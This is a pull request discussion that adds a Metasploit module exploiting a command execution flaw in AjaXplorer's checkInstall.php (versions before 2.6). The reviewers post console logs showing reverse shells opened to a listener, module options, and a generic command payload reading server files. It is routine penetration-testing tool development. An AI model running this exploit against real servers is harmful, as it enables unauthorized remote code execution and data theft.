Add OSVDB-63552 AjaXplorer module (2010)

[wchen-r7]

This pull request was created on behalf of David Maciejak, who emailed it to our dev mailbox. Old bug.

This module exploits an arbitrary command execution vulnerability in the AjaXplorer 'checkInstall.php' script. All versions of AjaXplorer prior to 2.6 are vulnerable.

msf  exploit(ajaxplorer_checkinstall_exec) > rexploit
[*] Reloading module...

[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo mhL4n8ad02mgEkZ2;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "mhL4n8ad02mgEkZ2\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (10.0.1.3:4444 -> 10.0.1.5:42557) at 2012-10-13 00:35:17 -0500

[jvazquez-r7]

Testing!

[jvazquez-r7]

Using ruby 1.9 I get the output if I modify it to:

print_line(m)

msf  exploit(ajaxplorer_checkinstall_exec) > show options

Module options (exploit/multi/http/ajaxplorer_checkinstall_exec):

   Name       Current Setting     Required  Description
   ----       ---------------     --------  -----------
   Proxies                        no        Use a proxy chain
   RHOST      192.168.1.130       yes       The target address
   RPORT      80                  yes       The target port
   TARGETURI  /AjaXplorer-2.5.5/  yes       The base path to AjaXplorer
   VHOST                          no        HTTP server virtual host


Payload options (cmd/unix/generic):

   Name  Current Setting                          Required  Description
   ----  ---------------                          --------  -----------
   CMD   cat /var/www/AjaXplorer-2.5.5/index.php  yes       The command string to execute


Exploit target:

   Id  Name
   --  ----
   0   AjaXplorer 2.5.5 or older


msf  exploit(ajaxplorer_checkinstall_exec) > rexploit
[*] Reloading module...

[*] 192.168.1.130:80 - The server returned: 200 OK
[*] 192.168.1.130:80 - Command output from the server:

[jvazquez-r7]

Working with:

• Default payload

  msf  exploit(ajaxplorer_checkinstall_exec) > rexploit
  [*] Reloading module...
  
  

[] Started reverse double handler
[] Accepted the first client connection...
[] Accepted the second client connection...
[] Command: echo 8AqUziC45v0mge6x;
[] Writing to socket A
[] Writing to socket B
[] Reading from sockets...
[] Reading from socket A
[] A: "8AqUziC45v0mge6x\r\n"
[] Matching...
[] B is input...
[] Command shell session 1 opened (192.168.1.128:4444 -> 192.168.1.130:44162) at 2012-10-14 10:48:20 +0200

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
^C
Abort session 1? [y/N] y

• CMD generic doesn't get output:

msf  exploit(ajaxplorer_checkinstall_exec) > show options
Module options (exploit/multi/http/ajaxplorer_checkinstall_exec):
   Name       Current Setting     Required  Description
   ----       ---------------     --------  -----------
   Proxies                        no        Use a proxy chain
   RHOST      192.168.1.130       yes       The target address
   RPORT      80                  yes       The target port
   TARGETURI  /AjaXplorer-2.5.5/  yes       The base path to AjaXplorer
   VHOST                          no        HTTP server virtual host
Payload options (cmd/unix/generic):
   Name  Current Setting                          Required  Description
   ----  ---------------                          --------  -----------
   CMD   cat /var/www/AjaXplorer-2.5.5/index.php  yes       The command string to execute
Exploit target:
   Id  Name
   --  ----
   0   AjaXplorer 2.5.5 or older
msf  exploit(ajaxplorer_checkinstall_exec) > rexploit
[*] Reloading module...
[*] 192.168.1.130:80 - The server returned: 200 OK
[*] 192.168.1.130:80 - Command output from the server:
?
[*] Exploit completed, but no session was created.

After modify L:101 according to my comment output is printed in my case. Awaiting for sinn3r check and response before merging.

[wchen-r7]

Corrected.